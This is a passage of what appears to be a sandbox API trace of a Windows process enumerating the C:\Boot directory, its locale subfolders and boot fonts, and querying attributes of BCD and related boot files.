	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0076.846] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0076.847] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.848] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0076.848] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0076.848] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
	[0076.848] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.848] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0076.848] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.848] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.849] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.849] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.849] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.849] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0076.949] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.949] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.990] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0076.990] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0077.041] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.041] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0077.041] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0077.041] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0077.041] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
